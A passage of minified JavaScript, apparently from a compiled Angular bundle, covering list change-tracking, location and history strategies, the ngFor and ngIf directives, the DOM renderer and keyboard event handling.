t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,r,n,o){let i;return null===t?i=this._itTail:(i=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null))?(Object.is(t.item,r)||this._addIdentityChange(t,r),this._reinsertAfter(t,i,o)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(n,o))?(Object.is(t.item,r)||this._addIdentityChange(t,r),this._moveAfter(t,i,o)):t=this._addAfter(new VR(r,n),i,o),t}_verifyReinsertion(t,r,n,o){let i=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null);return null!==i?t=this._reinsertAfter(i,t._prev,o):t.currentIndex!=o&&(t.currentIndex=o,this._addToMoves(t,o)),t}_truncate(t){for(;null!==t;){const r=t._next;this._addToRemovals(this._unlink(t)),t=r}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,r,n){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const o=t._prevRemoved,i=t._nextRemoved;return null===o?this._removalsHead=i:o._nextRemoved=i,null===i?this._removalsTail=o:i._prevRemoved=o,this._insertAfter(t,r,n),this._addToMoves(t,n),t}_moveAfter(t,r,n){return this._unlink(t),this._insertAfter(t,r,n),this._addToMoves(t,n),t}_addAfter(t,r,n){return this._insertAfter(t,r,n),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,r,n){const o=null===r?this._itHead:r._next;return t._next=o,t._prev=r,null===o?this._itTail=t:o._prev=t,null===r?this._itHead=t:r._next=t,null===this._linkedRecords&&(this._linkedRecords=new bD),this._linkedRecords.put(t),t.currentIndex=n,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const r=t._prev,n=t._next;return null===r?this._itHead=n:r._next=n,null===n?this._itTail=r:n._prev=r,t}_addToMoves(t,r){return t.previousIndex===r||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new bD),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,r){return t.item=r,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class VR{constructor(t,r){this.item=t,this.trackById=r,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class jR{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,r){let n;for(n=this._head;null!==n;n=n._nextDup)if((null===r||r<=n.currentIndex)&&Object.is(n.trackById,t))return n;return null}remove(t){const r=t._prevDup,n=t._nextDup;return null===r?this._head=n:r._nextDup=n,null===n?this._tail=r:n._prevDup=r,null===this._head}}class bD{constructor(){this.map=new Map}put(t){const r=t.trackById;let n=this.map.get(r);n||(n=new jR,this.map.set(r,n)),n.add(t)}get(t,r){const o=this.map.get(t);return o?o.get(t,r):null}remove(t){const r=t.trackById;return this.map.get(r).remove(t)&&this.map.delete(r),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function ED(e,t,r){const n=e.previousIndex;if(null===n)return n;let o=0;return r&&n{var e;class t{constructor(n){this.factories=n}static create(n,o){if(null!=o){const i=o.factories.slice();n=n.concat(i)}return new t(n)}static extend(n){return{provide:t,useFactory:o=>t.create(n,o||ID()),deps:[[t,new js,new Vs]]}}find(n){const o=this.factories.find(i=>i.supports(n));if(null!=o)return o;throw new D(901,!1)}}return(e=t).\u0275prov=x({token:e,providedIn:"root",factory:ID}),t})();const zR=cD(null,"core",[]);let GR=(()=>{var e;class t{constructor(n){}}return(e=t).\u0275fac=function(n){return new(n||e)(N(ho))},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({}),t})();function po(e){return"boolean"==typeof e?e:null!=e&&"false"!==e}let $d=null;function Hn(){return $d}class iO{}const yt=new I("DocumentToken");let Ud=(()=>{var e;class t{historyGo(n){throw new Error("Not implemented")}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return M(aO)},providedIn:"platform"}),t})();const sO=new I("Location Initialized");let aO=(()=>{var e;class t extends Ud{constructor(){super(),this._doc=M(yt),this._location=window.location,this._history=window.history}getBaseHrefFromDOM(){return Hn().getBaseHref(this._doc)}onPopState(n){const o=Hn().getGlobalEventTarget(this._doc,"window");return o.addEventListener("popstate",n,!1),()=>o.removeEventListener("popstate",n)}onHashChange(n){const o=Hn().getGlobalEventTarget(this._doc,"window");return o.addEventListener("hashchange",n,!1),()=>o.removeEventListener("hashchange",n)}get href(){return this._location.href}get protocol(){return this._location.protocol}get hostname(){return this._location.hostname}get port(){return this._location.port}get pathname(){return this._location.pathname}get search(){return this._location.search}get hash(){return this._location.hash}set pathname(n){this._location.pathname=n}pushState(n,o,i){this._history.pushState(n,o,i)}replaceState(n,o,i){this._history.replaceState(n,o,i)}forward(){this._history.forward()}back(){this._history.back()}historyGo(n=0){this._history.go(n)}getState(){return this._history.state}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return new e},providedIn:"platform"}),t})();function zd(e,t){if(0==e.length)return t;if(0==t.length)return e;let r=0;return e.endsWith("/")&&r++,t.startsWith("/")&&r++,2==r?e+t.substring(1):1==r?e+t:e+"/"+t}function kD(e){const t=e.match(/#|\?|$/),r=t&&t.index||e.length;return e.slice(0,r-("/"===e[r-1]?1:0))+e.slice(r)}function Cn(e){return e&&"?"!==e[0]?"?"+e:e}let dr=(()=>{var e;class t{historyGo(n){throw new Error("Not implemented")}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return M(VD)},providedIn:"root"}),t})();const LD=new I("appBaseHref");let VD=(()=>{var e;class t extends dr{constructor(n,o){super(),this._platformLocation=n,this._removeListenerFns=[],this._baseHref=o??this._platformLocation.getBaseHrefFromDOM()??M(yt).location?.origin??""}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(n){this._removeListenerFns.push(this._platformLocation.onPopState(n),this._platformLocation.onHashChange(n))}getBaseHref(){return this._baseHref}prepareExternalUrl(n){return zd(this._baseHref,n)}path(n=!1){const o=this._platformLocation.pathname+Cn(this._platformLocation.search),i=this._platformLocation.hash;return i&&n?`${o}${i}`:o}pushState(n,o,i,s){const a=this.prepareExternalUrl(i+Cn(s));this._platformLocation.pushState(n,o,a)}replaceState(n,o,i,s){const a=this.prepareExternalUrl(i+Cn(s));this._platformLocation.replaceState(n,o,a)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(n=0){this._platformLocation.historyGo?.(n)}}return(e=t).\u0275fac=function(n){return new(n||e)(N(Ud),N(LD,8))},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})(),lO=(()=>{var e;class t extends dr{constructor(n,o){super(),this._platformLocation=n,this._baseHref="",this._removeListenerFns=[],null!=o&&(this._baseHref=o)}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(n){this._removeListenerFns.push(this._platformLocation.onPopState(n),this._platformLocation.onHashChange(n))}getBaseHref(){return this._baseHref}path(n=!1){let o=this._platformLocation.hash;return null==o&&(o="#"),o.length>0?o.substring(1):o}prepareExternalUrl(n){const o=zd(this._baseHref,n);return o.length>0?"#"+o:o}pushState(n,o,i,s){let a=this.prepareExternalUrl(i+Cn(s));0==a.length&&(a=this._platformLocation.pathname),this._platformLocation.pushState(n,o,a)}replaceState(n,o,i,s){let a=this.prepareExternalUrl(i+Cn(s));0==a.length&&(a=this._platformLocation.pathname),this._platformLocation.replaceState(n,o,a)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(n=0){this._platformLocation.historyGo?.(n)}}return(e=t).\u0275fac=function(n){return new(n||e)(N(Ud),N(LD,8))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})(),Gd=(()=>{var e;class t{constructor(n){this._subject=new ye,this._urlChangeListeners=[],this._urlChangeSubscription=null,this._locationStrategy=n;const o=this._locationStrategy.getBaseHref();this._basePath=function dO(e){if(new RegExp("^(https?:)?//").test(e)){const[,r]=e.split(/\/\/[^\/]+/);return r}return e}(kD(jD(o))),this._locationStrategy.onPopState(i=>{this._subject.emit({url:this.path(!0),pop:!0,state:i.state,type:i.type})})}ngOnDestroy(){this._urlChangeSubscription?.unsubscribe(),this._urlChangeListeners=[]}path(n=!1){return this.normalize(this._locationStrategy.path(n))}getState(){return this._locationStrategy.getState()}isCurrentPathEqualTo(n,o=""){return this.path()==this.normalize(n+Cn(o))}normalize(n){return t.stripTrailingSlash(function cO(e,t){if(!e||!t.startsWith(e))return t;const r=t.substring(e.length);return""===r||["/",";","?","#"].includes(r[0])?r:t}(this._basePath,jD(n)))}prepareExternalUrl(n){return n&&"/"!==n[0]&&(n="/"+n),this._locationStrategy.prepareExternalUrl(n)}go(n,o="",i=null){this._locationStrategy.pushState(i,"",n,o),this._notifyUrlChangeListeners(this.prepareExternalUrl(n+Cn(o)),i)}replaceState(n,o="",i=null){this._locationStrategy.replaceState(i,"",n,o),this._notifyUrlChangeListeners(this.prepareExternalUrl(n+Cn(o)),i)}forward(){this._locationStrategy.forward()}back(){this._locationStrategy.back()}historyGo(n=0){this._locationStrategy.historyGo?.(n)}onUrlChange(n){return this._urlChangeListeners.push(n),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(o=>{this._notifyUrlChangeListeners(o.url,o.state)})),()=>{const o=this._urlChangeListeners.indexOf(n);this._urlChangeListeners.splice(o,1),0===this._urlChangeListeners.length&&(this._urlChangeSubscription?.unsubscribe(),this._urlChangeSubscription=null)}}_notifyUrlChangeListeners(n="",o){this._urlChangeListeners.forEach(i=>i(n,o))}subscribe(n,o,i){return this._subject.subscribe({next:n,error:o,complete:i})}}return(e=t).normalizeQueryParams=Cn,e.joinWithSlash=zd,e.stripTrailingSlash=kD,e.\u0275fac=function(n){return new(n||e)(N(dr))},e.\u0275prov=x({token:e,factory:function(){return function uO(){return new Gd(N(dr))}()},providedIn:"root"}),t})();function jD(e){return e.replace(/\/index.html$/,"")}function ZD(e,t){t=encodeURIComponent(t);for(const r of e.split(";")){const n=r.indexOf("="),[o,i]=-1==n?[r,""]:[r.slice(0,n),r.slice(n+1)];if(o.trim()===t)return decodeURIComponent(i)}return null}class XO{constructor(t,r,n,o){this.$implicit=t,this.ngForOf=r,this.index=n,this.count=o}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let XD=(()=>{var e;class t{set ngForOf(n){this._ngForOf=n,this._ngForOfDirty=!0}set ngForTrackBy(n){this._trackByFn=n}get ngForTrackBy(){return this._trackByFn}constructor(n,o,i){this._viewContainer=n,this._template=o,this._differs=i,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForTemplate(n){n&&(this._template=n)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const n=this._ngForOf;!this._differ&&n&&(this._differ=this._differs.find(n).create(this.ngForTrackBy))}if(this._differ){const n=this._differ.diff(this._ngForOf);n&&this._applyChanges(n)}}_applyChanges(n){const o=this._viewContainer;n.forEachOperation((i,s,a)=>{if(null==i.previousIndex)o.createEmbeddedView(this._template,new XO(i.item,this._ngForOf,-1,-1),null===a?void 0:a);else if(null==a)o.remove(null===s?void 0:s);else if(null!==s){const l=o.get(s);o.move(l,a),JD(l,i)}});for(let i=0,s=o.length;i{JD(o.get(i.currentIndex),i)})}static ngTemplateContextGuard(n,o){return!0}}return(e=t).\u0275fac=function(n){return new(n||e)(C(Ut),C(_n),C(Ha))},e.\u0275dir=k({type:e,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"},standalone:!0}),t})();function JD(e,t){e.context.$implicit=t.item}let KD=(()=>{var e;class t{constructor(n,o){this._viewContainer=n,this._context=new JO,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=o}set ngIf(n){this._context.$implicit=this._context.ngIf=n,this._updateView()}set ngIfThen(n){eC("ngIfThen",n),this._thenTemplateRef=n,this._thenViewRef=null,this._updateView()}set ngIfElse(n){eC("ngIfElse",n),this._elseTemplateRef=n,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(n,o){return!0}}return(e=t).\u0275fac=function(n){return new(n||e)(C(Ut),C(_n))},e.\u0275dir=k({type:e,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"},standalone:!0}),t})();class JO{constructor(){this.$implicit=null,this.ngIf=null}}function eC(e,t){if(t&&!t.createEmbeddedView)throw new Error(`${e} must be a TemplateRef, but received '${Te(t)}'.`)}let bP=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({}),t})();function oC(e){return"server"===e}let SP=(()=>{var e;class t{}return(e=t).\u0275prov=x({token:e,providedIn:"root",factory:()=>new AP(N(yt),window)}),t})();class AP{constructor(t,r){this.document=t,this.window=r,this.offset=()=>[0,0]}setOffset(t){this.offset=Array.isArray(t)?()=>t:t}getScrollPosition(){return this.supportsScrolling()?[this.window.pageXOffset,this.window.pageYOffset]:[0,0]}scrollToPosition(t){this.supportsScrolling()&&this.window.scrollTo(t[0],t[1])}scrollToAnchor(t){if(!this.supportsScrolling())return;const r=function TP(e,t){const r=e.getElementById(t)||e.getElementsByName(t)[0];if(r)return r;if("function"==typeof e.createTreeWalker&&e.body&&"function"==typeof e.body.attachShadow){const n=e.createTreeWalker(e.body,NodeFilter.SHOW_ELEMENT);let o=n.currentNode;for(;o;){const i=o.shadowRoot;if(i){const s=i.getElementById(t)||i.querySelector(`[name="${t}"]`);if(s)return s}o=n.nextNode()}}return null}(this.document,t);r&&(this.scrollToElement(r),r.focus())}setHistoryScrollRestoration(t){this.supportsScrolling()&&(this.window.history.scrollRestoration=t)}scrollToElement(t){const r=t.getBoundingClientRect(),n=r.left+this.window.pageXOffset,o=r.top+this.window.pageYOffset,i=this.offset();this.window.scrollTo(n-i[0],o-i[1])}supportsScrolling(){try{return!!this.window&&!!this.window.scrollTo&&"pageXOffset"in this.window}catch{return!1}}}class iC{}class JP extends iO{constructor(){super(...arguments),this.supportsDOMEvents=!0}}class cf extends JP{static makeCurrent(){!function oO(e){$d||($d=e)}(new cf)}onAndCancel(t,r,n){return t.addEventListener(r,n),()=>{t.removeEventListener(r,n)}}dispatchEvent(t,r){t.dispatchEvent(r)}remove(t){t.parentNode&&t.parentNode.removeChild(t)}createElement(t,r){return(r=r||this.getDefaultDocument()).createElement(t)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(t){return t.nodeType===Node.ELEMENT_NODE}isShadowRoot(t){return t instanceof DocumentFragment}getGlobalEventTarget(t,r){return"window"===r?window:"document"===r?t:"body"===r?t.body:null}getBaseHref(t){const r=function KP(){return Vi=Vi||document.querySelector("base"),Vi?Vi.getAttribute("href"):null}();return null==r?null:function eF(e){tl=tl||document.createElement("a"),tl.setAttribute("href",e);const t=tl.pathname;return"/"===t.charAt(0)?t:`/${t}`}(r)}resetBaseElement(){Vi=null}getUserAgent(){return window.navigator.userAgent}getCookie(t){return ZD(document.cookie,t)}}let tl,Vi=null,nF=(()=>{var e;class t{build(){return new XMLHttpRequest}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();const df=new I("EventManagerPlugins");let cC=(()=>{var e;class t{constructor(n,o){this._zone=o,this._eventNameToPlugin=new Map,n.forEach(i=>{i.manager=this}),this._plugins=n.slice().reverse()}addEventListener(n,o,i){return this._findPluginFor(o).addEventListener(n,o,i)}getZone(){return this._zone}_findPluginFor(n){let o=this._eventNameToPlugin.get(n);if(o)return o;if(o=this._plugins.find(s=>s.supports(n)),!o)throw new D(5101,!1);return this._eventNameToPlugin.set(n,o),o}}return(e=t).\u0275fac=function(n){return new(n||e)(N(df),N(de))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();class dC{constructor(t){this._doc=t}}const ff="ng-app-id";let fC=(()=>{var e;class t{constructor(n,o,i,s={}){this.doc=n,this.appId=o,this.nonce=i,this.platformId=s,this.styleRef=new Map,this.hostNodes=new Set,this.styleNodesInDOM=this.collectServerRenderedStyles(),this.platformIsServer=oC(s),this.resetHostNodes()}addStyles(n){for(const o of n)1===this.changeUsageCount(o,1)&&this.onStyleAdded(o)}removeStyles(n){for(const o of n)this.changeUsageCount(o,-1)<=0&&this.onStyleRemoved(o)}ngOnDestroy(){const n=this.styleNodesInDOM;n&&(n.forEach(o=>o.remove()),n.clear());for(const o of this.getAllStyles())this.onStyleRemoved(o);this.resetHostNodes()}addHost(n){this.hostNodes.add(n);for(const o of this.getAllStyles())this.addStyleToHost(n,o)}removeHost(n){this.hostNodes.delete(n)}getAllStyles(){return this.styleRef.keys()}onStyleAdded(n){for(const o of this.hostNodes)this.addStyleToHost(o,n)}onStyleRemoved(n){const o=this.styleRef;o.get(n)?.elements?.forEach(i=>i.remove()),o.delete(n)}collectServerRenderedStyles(){const n=this.doc.head?.querySelectorAll(`style[${ff}="${this.appId}"]`);if(n?.length){const o=new Map;return n.forEach(i=>{null!=i.textContent&&o.set(i.textContent,i)}),o}return null}changeUsageCount(n,o){const i=this.styleRef;if(i.has(n)){const s=i.get(n);return s.usage+=o,s.usage}return i.set(n,{usage:o,elements:[]}),o}getStyleElement(n,o){const i=this.styleNodesInDOM,s=i?.get(o);if(s?.parentNode===n)return i.delete(o),s.removeAttribute(ff),s;{const a=this.doc.createElement("style");return this.nonce&&a.setAttribute("nonce",this.nonce),a.textContent=o,this.platformIsServer&&a.setAttribute(ff,this.appId),a}}addStyleToHost(n,o){const i=this.getStyleElement(n,o);n.appendChild(i);const s=this.styleRef,a=s.get(o)?.elements;a?a.push(i):s.set(o,{elements:[i],usage:1})}resetHostNodes(){const n=this.hostNodes;n.clear(),n.add(this.doc.head)}}return(e=t).\u0275fac=function(n){return new(n||e)(N(yt),N(ia),N(mm,8),N(ir))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();const hf={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/",math:"http://www.w3.org/1998/MathML/"},pf=/%COMP%/g,sF=new I("RemoveStylesOnCompDestroy",{providedIn:"root",factory:()=>!1});function pC(e,t){return t.map(r=>r.replace(pf,e))}let gC=(()=>{var e;class t{constructor(n,o,i,s,a,l,u,c=null){this.eventManager=n,this.sharedStylesHost=o,this.appId=i,this.removeStylesOnCompDestroy=s,this.doc=a,this.platformId=l,this.ngZone=u,this.nonce=c,this.rendererByCompId=new Map,this.platformIsServer=oC(l),this.defaultRenderer=new gf(n,a,u,this.platformIsServer)}createRenderer(n,o){if(!n||!o)return this.defaultRenderer;this.platformIsServer&&o.encapsulation===Ft.ShadowDom&&(o={...o,encapsulation:Ft.Emulated});const i=this.getOrCreateRenderer(n,o);return i instanceof vC?i.applyToHost(n):i instanceof mf&&i.applyStyles(),i}getOrCreateRenderer(n,o){const i=this.rendererByCompId;let s=i.get(o.id);if(!s){const a=this.doc,l=this.ngZone,u=this.eventManager,c=this.sharedStylesHost,d=this.removeStylesOnCompDestroy,f=this.platformIsServer;switch(o.encapsulation){case Ft.Emulated:s=new vC(u,c,o,this.appId,d,a,l,f);break;case Ft.ShadowDom:return new cF(u,c,n,o,a,l,this.nonce,f);default:s=new mf(u,c,o,d,a,l,f)}i.set(o.id,s)}return s}ngOnDestroy(){this.rendererByCompId.clear()}}return(e=t).\u0275fac=function(n){return new(n||e)(N(cC),N(fC),N(ia),N(sF),N(yt),N(ir),N(de),N(mm))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();class gf{constructor(t,r,n,o){this.eventManager=t,this.doc=r,this.ngZone=n,this.platformIsServer=o,this.data=Object.create(null),this.destroyNode=null}destroy(){}createElement(t,r){return r?this.doc.createElementNS(hf[r]||r,t):this.doc.createElement(t)}createComment(t){return this.doc.createComment(t)}createText(t){return this.doc.createTextNode(t)}appendChild(t,r){(mC(t)?t.content:t).appendChild(r)}insertBefore(t,r,n){t&&(mC(t)?t.content:t).insertBefore(r,n)}removeChild(t,r){t&&t.removeChild(r)}selectRootElement(t,r){let n="string"==typeof t?this.doc.querySelector(t):t;if(!n)throw new D(-5104,!1);return r||(n.textContent=""),n}parentNode(t){return t.parentNode}nextSibling(t){return t.nextSibling}setAttribute(t,r,n,o){if(o){r=o+":"+r;const i=hf[o];i?t.setAttributeNS(i,r,n):t.setAttribute(r,n)}else t.setAttribute(r,n)}removeAttribute(t,r,n){if(n){const o=hf[n];o?t.removeAttributeNS(o,r):t.removeAttribute(`${n}:${r}`)}else t.removeAttribute(r)}addClass(t,r){t.classList.add(r)}removeClass(t,r){t.classList.remove(r)}setStyle(t,r,n,o){o&(kn.DashCase|kn.Important)?t.style.setProperty(r,n,o&kn.Important?"important":""):t.style[r]=n}removeStyle(t,r,n){n&kn.DashCase?t.style.removeProperty(r):t.style[r]=""}setProperty(t,r,n){t[r]=n}setValue(t,r){t.nodeValue=r}listen(t,r,n){if("string"==typeof t&&!(t=Hn().getGlobalEventTarget(this.doc,t)))throw new Error(`Unsupported event target ${t} for event ${r}`);return this.eventManager.addEventListener(t,r,this.decoratePreventDefault(n))}decoratePreventDefault(t){return r=>{if("__ngUnwrap__"===r)return t;!1===(this.platformIsServer?this.ngZone.runGuarded(()=>t(r)):t(r))&&r.preventDefault()}}}function mC(e){return"TEMPLATE"===e.tagName&&void 0!==e.content}class cF extends gf{constructor(t,r,n,o,i,s,a,l){super(t,i,s,l),this.sharedStylesHost=r,this.hostEl=n,this.shadowRoot=n.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const u=pC(o.id,o.styles);for(const c of u){const d=document.createElement("style");a&&d.setAttribute("nonce",a),d.textContent=c,this.shadowRoot.appendChild(d)}}nodeOrShadowRoot(t){return t===this.hostEl?this.shadowRoot:t}appendChild(t,r){return super.appendChild(this.nodeOrShadowRoot(t),r)}insertBefore(t,r,n){return super.insertBefore(this.nodeOrShadowRoot(t),r,n)}removeChild(t,r){return super.removeChild(this.nodeOrShadowRoot(t),r)}parentNode(t){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(t)))}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}}class mf extends gf{constructor(t,r,n,o,i,s,a,l){super(t,i,s,a),this.sharedStylesHost=r,this.removeStylesOnCompDestroy=o,this.styles=l?pC(l,n.styles):n.styles}applyStyles(){this.sharedStylesHost.addStyles(this.styles)}destroy(){this.removeStylesOnCompDestroy&&this.sharedStylesHost.removeStyles(this.styles)}}class vC extends mf{constructor(t,r,n,o,i,s,a,l){const u=o+"-"+n.id;super(t,r,n,i,s,a,l,u),this.contentAttr=function aF(e){return"_ngcontent-%COMP%".replace(pf,e)}(u),this.hostAttr=function lF(e){return"_nghost-%COMP%".replace(pf,e)}(u)}applyToHost(t){this.applyStyles(),this.setAttribute(t,this.hostAttr,"")}createElement(t,r){const n=super.createElement(t,r);return super.setAttribute(n,this.contentAttr,""),n}}let dF=(()=>{var e;class t extends dC{constructor(n){super(n)}supports(n){return!0}addEventListener(n,o,i){return n.addEventListener(o,i,!1),()=>this.removeEventListener(n,o,i)}removeEventListener(n,o,i){return n.removeEventListener(o,i)}}return(e=t).\u0275fac=function(n){return new(n||e)(N(yt))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();const yC=["alt","control","meta","shift"],fF={"\b":"Backspace","\t":"Tab","\x7f":"Delete","\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},hF={alt:e=>e.altKey,control:e=>e.ctrlKey,meta:e=>e.metaKey,shift:e=>e.shiftKey};let pF=(()=>{var e;class t extends dC{constructor(n){super(n)}supports(n){return null!=t.parseEventName(n)}addEventListener(n,o,i){const s=t.parseEventName(o),a=t.eventCallback(s.fullKey,i,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>Hn().onAndCancel(n,s.domEventName,a))}static parseEventName(n){const o=n.toLowerCase().split("."),i=o.shift();if(0===o.length||"keydown"!==i&&"keyup"!==i)return null;const s=t._normalizeKey(o.pop());let a="",l=o.indexOf("code");if(l>-1&&(o.splice(l,1),a="code."),yC.forEach(c=>{const d=o.indexOf(c);d>-1&&(o.splice(d,1),a+=c+".")}),a+=s,0!=o.length||0===s.length)return null;const u={};return u.domEventName=i,u.fullKey=a,u}static matchEventFullKeyCode(n,o){let i=fF[n.key]||n.key,s="";return o.indexOf("code.")>-1&&(i=n.code,s="code."),!(null==i||!i)&&(i=i.toLowerCase()," "===i?i="space":"."===i&&(i="dot"),yC.forEach(a=>{a!==i&&(0,hF[a])(n)&&(s+=a+".")}),s+=i,s===o)}static eventCallback(n,o,i){return s=>{t.matchEventFullKeyCode(s,n)&&i.runGuarded(()=>o(s))}}static _normalizeKey(n){return"esc"===n?"escape":n}}return(e=t).\u0275fac=function(n){return new(n||e)(N(yt))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();const yF=cD(zR,"browser",[{provide:ir,useValue:"browser"},{provide:gm,useValue:function gF(){cf.makeCurrent()},multi:!0},{provide:yt,useFactory:function vF(){return function YI(e){ec=e}(document),document},deps:[]}]),_F=new I(""),CC=[{provide:ka,useClass:class tF{addToWindow(t){ue.getAngularTestability=(n,o=!0)=>{const i=t.findTestabilityInTree(n,o);if(null==i)throw new D(5103,!1);return i},ue.getAllAngularTestabilities=()=>t.getAllTestabilities(),ue.getAllAngularRootElements=()=>t.getAllRootElements(),ue.frameworkStabilizers||(ue.frameworkStabilizers=[]),ue.frameworkStabilizers.push(n=>{const o=ue.getAllAngularTestabilities();let i=o.length,s=!1;const a=function(l){s=s||l,i--,0==i&&n(s)};o.forEach(l=>{l.whenStable(a)})})}findTestabilityInTree(t,r,n){return null==r?null:t.getTestability(r)??(n?Hn().isShadowRoot(r)?this.findTestabilityInTree(t,r.host,!0):this.findTestabilityInTree(t,r.parentElement,!0):null)}},deps:[]},{provide:iD,useClass:xd,deps:[de,Rd,ka]},{provide:xd,useClass:xd,deps:[de,Rd,ka]}],wC=[{provide:dc,useValue:"root"},{provide:mn,useFactory:function mF(){return new mn},deps:[]},{provide:df,useClass:dF,multi:!0,deps:[yt,de,ir]},{provide:df,useClass:pF,multi:!0,deps:[yt]},gC,fC,cC,{provide:wm,useExisting:gC},{provide:iC,useClass:nF,deps:[]},[]];let DF=(()=>{var e;class t{constructor(n){}static withServerTransition(n){return{ngModule:t,providers:[{provide:ia,useValue:n.appId}]}}}return(e=t).\u0275fac=function(n){return new(n||e)(N(_F,12))},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({providers:[...wC,...CC],imports:[bP,GR]}),t})(),bC=(()=>{var e;class t{constructor(n){this._doc=n}getTitle(){return this._doc.title}setTitle(n){this._doc.title=n||""}}return(e=t).\u0275fac=function(n){return new(n||e)(N(yt))},e.\u0275prov=x({token:e,factory:function(n){let o=null;return o=n?new n:function wF(){return new bC(N(yt))}(),o},providedIn:"root"}),t})();typeof window<"u"&&window;const{isArray:AF}=Array,{getPrototypeOf:TF,prototype:NF,keys:xF}=Object;function SC(e){if(1===e.length){const t=e[0];if(AF(t))return{args:t,keys:null};if(function RF(e){return e&&"object"==typeof e&&TF(e)===NF}(t)){const r=xF(t);return{args:r.map(n=>t[n]),keys:r}}}return{args:e,keys:null}}const{isArray:OF}=Array;function AC(e){return Y(t=>function PF(e,t){return OF(t)?e(...t):e(t)}(e,t))}function TC(e,t){return e.reduce((r,n,o)=>(r[n]=t[o],r),{})}function 